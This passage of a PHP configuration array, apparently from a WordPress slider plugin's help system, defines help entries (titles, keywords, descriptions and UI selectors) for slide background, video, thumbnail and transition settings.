											array($p => '#slide#.slide.attributes.altOption', $v => 'custom', $o => 'slide_attributes_alt')
										),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_img_calt"
									)
								),
								'title_attr' => array(
									$di => "slide_attributes_title",
									$t => __("Title Attribute", 'revsliderhelp'),
									$h => "attributes.titleOption",
									$k => array("background image title", "alt attribute", "bg title", "image title"),
									$d => __("Define the 'title' attribute for the Slide's main background image.  Useful for screen readers.", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_image_title"
									)
								),
								'title_custom' => array(
									$t => __("Custom Title Attribute", 'revsliderhelp'),
									$h => "attributes.title",
									$k => array("background image title", "title attribute", "bg title", "image title"),
									$d => __("Enter a custom title for the Slide's main background image.  Useful for screen readers.", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(
											array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
											array($p => '#slide#.slide.attributes.titleOption', $v => 'custom', $o => 'slide_attributes_title')
										),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_img_ctit"
									)
								)
							),
							'external_image' => array(
								'external_width' => array(
									$t => __("External Image Width", 'revsliderhelp'),
									$h => "bg.width",
									$k => array("background image width", "external image width", "external image"),
									$d => __("Define a custom width attribute for external image urls", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_width"
									)
								),
								'external_height' => array(
									$t => __("External Image Height", 'revsliderhelp'),
									$h => "bg.height",
									$k => array("background image height", "external image height", "external image"),
									$d => __("Define a custom height attribute for external image urls", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_height"
									)
								)
							)
						),
						'video_background' => array(
							'youtube_id' => array(
								$t => __("YouTube Video ID", 'revsliderhelp'),
								$h => "bg.youtube",
								$k => array("youtube video", "youtube video background", "video background", "video bg", "youtube", "youtube id"),
								$d => __("The <a href='https://www.quora.com/What-is-a-YouTube-video-ID' target=_'blank'>YouTube Video ID</a> for the background video", 'revsliderhelp'),
								$a => $u . "slide-background/#video",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "#s_bg_youtube_src"
								)
							),
							'vimeo_id' => array(
								$t => __("Vimeo Video ID", 'revsliderhelp'),
								$h => "bg.vimeo",
								$k => array("vimeo video", "vimeo video background", "video background", "video bg", "vimeo", "vimeo id"),
								$d => __("The <a href='https://docs.joeworkman.net/rapidweaver/stacks/vimeo/video-id' target=_'blank'>Vimeo Video ID</a> for the background video", 'revsliderhelp'),
								$a => $u . "slide-background/#video",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'vimeo', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "#s_bg_vimeo_src"
								)
							),
							'html5_url' => array(
								$t => __("HTML Video URL", 'revsliderhelp'),
								$h => "bg.mpeg",
								$k => array("html5 video", "video url", "html5 video url", "html5 source", "html5 video source"),
								$d => __("The video url to be used as the Slide's main background", 'revsliderhelp'),
								$a => $u . "slide-background/#video",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'html5', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "#s_bg_mpeg_src"
								)
							),
							'image_from_stream' => array(
								$t => __("Image/Poster from Stream", 'revsliderhelp'),
								$h => "bg.imageFromStream",
								$k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"),
								$d => __("The Slide's main background will be populated automatically for Video/Social-Stream Sliders", 'revsliderhelp'),
								$a => $u . "slide-background/#video",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external::youtube::vimeo::html5', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "*[data-r='bg.imageFromStream']"
								)
							),
							'video_from_stream' => array(
								$t => __("Video from Stream", 'revsliderhelp'),
								$h => "bg.videoFromStream",
								$k => array("stream", "stream background", "video stream"),
								$d => __("The Slide's main background will be populated automatically for Video-Stream Sliders", 'revsliderhelp'),
								$a => $u . "slide-background/#video",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "*[data-r='bg.videoFromStream']"
								)
							),
							'additional_settings' => array(
								'aspect_ratio' => array(
									$t => __("Aspect Ratio", 'revsliderhelp'),
									$h => "bg.video.ratio",
									$k => array("aspect ratio", "video size", "video aspect ratio"),
									$d => __("This value should match the video's original aspect ratio", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_aratio"
									)
								),
								'dotted_overlay' => array(
									$t => __("Dotted Overlay", 'revsliderhelp'),
									$h => "bg.video.dottedOverlay",
									$k => array("overlay", "video overlay", "dotted overlay"),
									$d => __("Add a mesh-style overlay to the video for extra styling", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#sl_vid_overlay"
									)
								),
								'loop' => array(
									$t => __("Loop Video", 'revsliderhelp'),
									$h => "bg.video.loop",
									$k => array("loop", "video loop", "restart", "restart video"),
									$d => __("Restart the video every time it ends", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_loop"
									)
								),
								'fitCover' => array(
									$t => __("Video Fit Cover", 'revsliderhelp'),
									$h => "bg.video.fitCover",
									$k => array("cover", "force cover"),
									$d => __("Video will fit in container with CSS property object-fit cover. Disable this option in case video size jumps on slide change.", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#sl_vid_fit_cover"
									)
								),
								
								'next_slide_at_end' => array(
									$t => __("Next Slide at End", 'revsliderhelp'),
									$h => "bg.video.nextSlideAtEnd",
									$k => array("next slide at end", "next slide end"),
									$d => __("Change to the next Slide when the video ends", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#sl_vid_nextslide"
									)
								),
								'rewind_at_start' => array(
									$t => __("Rewind at Start", 'revsliderhelp'),
									$h => "bg.video.forceRewind",
									$k => array("rewind", "rewind at start"),
									$d => __("Always play the video from the beginning each time the Slide is shown", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#sl_vid_forceRewind"
									)
								),
								'mute_at_start' => array(
									$t => __("Mute at Start", 'revsliderhelp'),
									$h => "bg.video.mute",
									$k => array("mute video", "mute at start"),
									$d => __("Auto-mute the video each time the Slide is shown", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#sl_vid_mute"
									)
								),
								'volume' => array(
									$t => __("Video Volume", 'revsliderhelp'),
									$h => "bg.video.volume",
									$k => array("video volume"),
									$d => __("Set the default volume for the video", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_vol"
									)
								),
								'speed' => array(
									$t => __("Video Speed", 'revsliderhelp'),
									$h => "bg.video.speed",
									$k => array("video speed"),
									$d => __("Optional playback speed for the video", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_speed"
									)
								),
								'start_at' => array(
									$t => __("Start Time", 'revsliderhelp'),
									$h => "bg.video.startAt",
									$k => array("video start", "video start time", "start at", "video start at"),
									$d => __("Start the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_startat"
									)
								),
								'end_at' => array(
									$t => __("End Time", 'revsliderhelp'),
									$h => "bg.video.endAt",
									$k => array("video end", "video end time", "end at", "video end at"),
									$d => __("End the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_endat"
									)
								),
								'arguments' => array(
									$t => __("YouTube/Vimeo Arguments", 'revsliderhelp'),
									$h => "bg.video.args, bg.video.argsVimeo",
									$k => array("youtube args", "youtube arguments", "vimeo args", "vimeo arguments"),
									$d => __("Optional iFrame arguments for <a href='https://developers.google.com/youtube/player_parameters' target='_blank'>YouTube</a> and <a href='https://help.vimeo.com/hc/en-us/articles/360001494447-Using-Player-Parameters' target='_blank'>Vimeo</a>", 'revsliderhelp'),
									$a => $u . "slide-background/#video-settings",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_vid_argsyt, #slide_vid_argvim"
									)
								)
							)
						)
					),
					'gst_slide_6' => array(
						'module_thumb' => array(
							$t => __("Module Admin Thumbnail", 'revsliderhelp'),
							$h => "#slide#.slide.thumb.customAdminThumbSrc",
							$k => array("thumbnail", "admin thumb", "admin thumbnail"),
							$d => __("Set a special thumbnail for editor admin purposes only", 'revsliderhelp'),
							$a => $u . "slide-thumbnails/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_6", 
								$st => '#form_slidegeneral_thumbnails', 
								$f => "*[data-r='#slide#.slide.thumb.customAdminThumbSrc']"
							)
						),
						'navigation_thumb' => array(
							$t => __("Navigation Thumbnail", 'revsliderhelp'),
							$h => "#slide#.slide.thumb.customThumbSrc",
							$k => array("thumbnail", "thumb", "navigation thumb", "navigation thumbnail", "nav thumb", "navigation thumb"),
							$d => __("The thumbnail image that will be used for the Slider's thumbnail navigation", 'revsliderhelp'),
							$a => $u . "slide-thumbnails/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_6", 
								$st => '#form_slidegeneral_thumbnails', 
								$f => "*[data-r='#slide#.slide.thumb.customThumbSrc']"
							)
						),
						'dimension' => array(
							$t => __("Dimension", 'revsliderhelp'),
							$h => "thumb.dimension",
							$k => array("thumbnail", "thumb", "navigation thumb", "navigation thumbnail", "nav thumb", "navigation thumb", "dimension", "thumb size", "thumbnail size"),
							$d => __("Load the images in their original size or in the size defined in the Slider Settings", 'revsliderhelp'),
							$a => $u . "slide-thumbnails/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_6", 
								$st => '#form_slidegeneral_thumbnails', 
								$f => "#slide_thumb_dimension"
							)
						)
					),
					'gst_slide_2' => array(
						'slide_transition' => array(
							$t => __("Slide Transition", 'revsliderhelp'),
							$h => "added_slide_transition",
							$k => array("slide", "slide settings", "slide animation", "slide transition", "animation", "transition"),
							$d => __("Represents the transition that will animate one slide's background out and the next slide's background in when switching sides.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2", 
								$st => '#form_slidebg_transition', 
								$f => ".added_slide_transition{first}"
							)
						),
						'favorit_transitions' => array(
							$t => __("Favorite Slide Transition", 'revsliderhelp'),
							$h => "slideChange.favorit",
							$k => array("slide", "slide settings", "slide animation", "slide transition", "animation", "transition", "favorit", "favorite", "favourite"),
							$d => __("ON: Show only favorited transitions. OFF: Show all available transitions", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2", 
								$st => '#sl_trans_favorit', 
								$f => "#sl_trans_favorit_inp"
							)
						),
						'slide_transition_timing' => array(
							$t => __("Slide Transition Timing", 'revsliderhelp'),
							$h => "#slide_transsettings",
							$k => array("slide transition", "slide animation", "animation timing", "transition timing"),
							$d => __("Configure the slide's transition animation timing settings such as 'Duration', 'Pause 'Between' behavior, 'Flow' and 'Index Order'", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidebasic_ts_wrapbrtn > div", 
								$st => '#form_sanimation_sframes_innerwrap', 
								$f => "#slidebasic_ts_wrapbrtn"
							)
						),
						
						'duration' => array(
							$t => __("Transition Duration", 'revsliderhelp'),
							$h => "slideChange.speed",
							$k => array("slide transition", "slide animation", "animation duration", "transition duration", "animation time", "transition time"),
							$d => __("The total time, (in milliseconds), it takes to complete the slide's animation transition", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_duration"
							)
						),

						'adpr' => array(
							$t => __("Prioritize Performance", 'revsliderhelp'),
							$h => "slideChange.adpr",
							$k => array("slide transition", "slide animation", "animation performance", "animation blurry", "animation quality"),
							$d => __("Win performance in complex transitions by reducing the image quality during animations", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_dpr"
							)
						),

						'pause_between' => array(
							$t => __("Transition Break", 'revsliderhelp'),
							$h => "slideChange.p",
							$k => array("slide transition", "slide animation", "animation pause", "transition pause", "through dark", "through light"),
							$d => __("Add a pause between slides. When active, this option animates an exiting slide out to a dark/light/transparent background, pauses for a moment, then animates the next slide in. Note: Pausing has no effect on the very first animation of a slider.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_breaking"
							)
						),

						'transition_flow' => array(
							$t => __("Transition Flow", 'revsliderhelp'),
							$h => "slideChange.f",
							$k => array("slide transition", "slide animation", "animation flow", "transition flow"),
							$d => __("If using a 'Rows', 'Columns' or 'Boxes' transition, this option controls animation direction and timing for all the separate elements, generating a flow effect as each one moves. It defines the direction in which initial movement of elements should be staggered, and which element should be animated first & last, e.g. starting from the center or edges, changing based on slide direction, flowing randomly etc.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_from"
							)
						),

						'transition_flow_speed' => array(
							$t => __("Transition Flow Speed", 'revsliderhelp'),
							$h => "slideChange.d",
							$k => array("slide transition", "slide animation", "animation flow speed", "transition flow speed"),
							$d => __("If using a 'Rows', 'Columns' or 'Boxes' transition, this option controls the animation speed of each individual element. Increasing the number, up to a maximum of 100, makes elements move quicker and reduces the time until each begins moving. The minimum, and slowest, setting is 5. Changing this value also automatically recalculates the slide transition duration.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_fromdelay"
							)
						),

						'transition_index_order' => array(
							$t => __("Transition Order", 'revsliderhelp'),
							$h => "slideChange.o",
							$k => array("slide transition", "slide animation", "animation index order", "transition order"),
							$d => __("Define whether the slide transitioning in should appear over the slide going out, or if the slide going out should appear over the one coming in. If set to Auto, a selection will be inferred automatically based on other settings.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_order"
							)
						),
						'transition_in_mask' => array(
							$t => __("Transition Mask", 'revsliderhelp'),
							$h => "slideChange.in.m",
							$k => array("slide transition", "slide animation mask", "animation mask", "transition mask"),
							$d => __("On animated rows and columns, activating the transition mask does two things: 1) Makes the motion of elements start at the edge of their own row/column rather than the edge of their full container. 2) Ensures elements don't overlap one another.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_in_mask_wrap"
							)
						),

						'transition_motion' => array(
							$t => __("Transition Motion Blur", 'revsliderhelp'),
							$h => "slideChange.in.mou",
							$k => array("slide transition", "slide animation blur", "animation motion blur", "transition blur", "motion blur"),
							$d => __("Add a light motion blur effect to slide transition animations. Enabling this setting will update other values as well.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_in_motionswitch_wrap"
							)
						),

						'transition_motion_blur' => array(
							$t => __("Transition Motion Blur Val", 'revsliderhelp'),
							$h => "slideChange.in.mo",
							$k => array("slide transition", "slide animation blur", "animation motion blur", "transition blur", "motion blur"),
							$d => __("If 'Transition Motion Blur' is on, the 'Transition Motion Blur Val' determines the width of the blur effect in pixels", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_filter_motion"
							)
						),

						'easing_in' => array(
							$t => __("Animation 'In' Easing", 'revsliderhelp'),
							$h => "slideChange.in.e",
							$k => array("slide transition", "slide animation", "animation easing", "transition easing"),
							$d => __("The easing equation for the 'In' animation, i.e. how the animation speeds up and slows down during playback.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_ease"
							)
						),
						
						'cols_in' => array(
							$t => __("Animation 'In'  Columns / Boxes", 'revsliderhelp'),
							$h => "slideChange.in.col",
							$k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"),
							$d => __("If using a 'Columns' or 'Boxes' transition, this option specifies the number of vertical columns into which the animation should be split.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_col"
							)
						),

						'rows_in' => array(
							$t => __("Animation 'In'  Rows / Boxes", 'revsliderhelp'),
							$h => "slideChange.in.row",
							$k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"),
							$d => __("If using a 'Rows' or 'Boxes' transition, this option specifies the number of horizontal rows into which the animation should be split.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_col"
							)
						),
						'xtrans_in' => array(
							$t => __("Animation 'In' - Horizontal Move", 'revsliderhelp'),
							$h => "slideChange.in.x",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal"),
							$d => __("Optionally add horizontal motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's width. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_x"
							)
						),
						'ytrans_in' => array(
							$t => __("Animation 'In' - Vertical Move", 'revsliderhelp'),
							$h => "slideChange.in.y",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal"),
							$d => __("Optionally add vertical motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's height. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_y"
							)
						),
						'xscale_in' => array(
							$t => __("Animation 'In' - Horizontal Scale", 'revsliderhelp'),
							$h => "slideChange.in.sx",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal","slide scale", "transition scale", "scale"),
							$d => __("Optionally add horizontal scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of horizontal scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified horizontal scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_scalex"
							)
						),
						'yscale_in' => array(
							$t => __("Animation 'In'  - Vertical Scale", 'revsliderhelp'),
							$h => "slideChange.in.sy",
							$k => array("slide transition", "slide animation", "animation transform", "transition horizontal", "slide scale", "transition scale", "scale"),
							$d => __("Optionally add vertical scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of vertical scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified vertical scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_scaley"
							)
						),
						'opactiy_in' => array(
							$t => __("Animation 'In' - Transparency", 'revsliderhelp'),
							$h => "slideChange.in.o",
							$k => array("slide transition", "slide animation", "animation transparency"),
							$d => __("The standard input range is 0 to 1, where 0 is completely transparent and 1 is fully opaque. In most cases you should use a value between 0 and 1, however, if necessary you can reduce the value down as far as -3, which will allow you to time the opacity animation differently than the 'In’ animation. The lower the value, the longer the transparency animation will be delayed compared to the rest of the ’In’ animation. This can be helpful in harmonizing complex animations.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_fade"
							)							
						),
						'rotation_in' => array(
							$t => __("Animation 'In' - Rotation", 'revsliderhelp'),
							$h => "slideChange.in.r",
							$k => array("slide transition", "slide animation", "animation rotation", "transition rotation"),
							$d => __("Optionally add rotation to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based rotation. 1) Random: {min,max} Applies a random amount of rotation within a specified range. E.g, {-45,45} to rotate by an amount between -45 and 45 degrees. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10 degree rotation to the first element, 10 degrees to the next, then 25 degrees, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add a 45 degree rotation when going to the next slide, and -45 degree rotation when going to the previous slide.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_rotation"
							)
						),
						'transition_out_mask' => array(
							$t => __("Transition Mask", 'revsliderhelp'),
							$h => "slideChange.out.m",
							$k => array("slide transition", "slide animation mask", "animation mask", "transition mask"),
							$d => __("On animated rows and columns, activating the transition mask does two things: 1) Makes the motion of elements start at the edge of their own row/column rather than the edge of their full container. 2) Ensures elements don't overlap one another.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#sltrans_all_globals', 
								$f => "#sltrans_out_mask_wrap"
							)
						),

						'auto_out' => array(
							$t => __("Animation 'Out' Automatically", 'revsliderhelp'),
							$h => "slideChange.out.a",
							$k => array("slide transition", "slide animation", "animation out", "transition auto", "auto animation", "auto transition"),
							$d => __("When toggled to ON this option will automatically generate the best possible 'Out' animation, based on the settings of the 'In' animation. ", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#slidechangeouta"
							)
						),

						'easing_out' => array(
							$t => __("Animation 'Out' Easing", 'revsliderhelp'),
							$h => "slideChange.out.e",
							$k => array("slide transition", "slide animation", "animation easing", "transition easing"),
							$d => __("The easing equation for the 'Out' animation, i.e. how the animation speeds up and slows down during playback.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_out_ease"
							)
						),
						
						'cols_out' => array(
							$t => __("Animation 'Out'  Columns / Boxes", 'revsliderhelp'),
							$h => "slideChange.out.col",
							$k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"),
							$d => __("If using a 'Columns' or 'Boxes' transition, this option specifies the number of vertical columns into which the animation should be split.", 'revsliderhelp'),
							$a => $u . "slide-animation/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", 
								$st => '#form_slidebg_transition', 
								$f => "#sltrans_in_col"
							)
						),

						'rows_out' => array(
							$t => __("Animation 'Out'  Rows / Boxes", 'revsliderhelp'),
							$h => "slideChange.out.row",
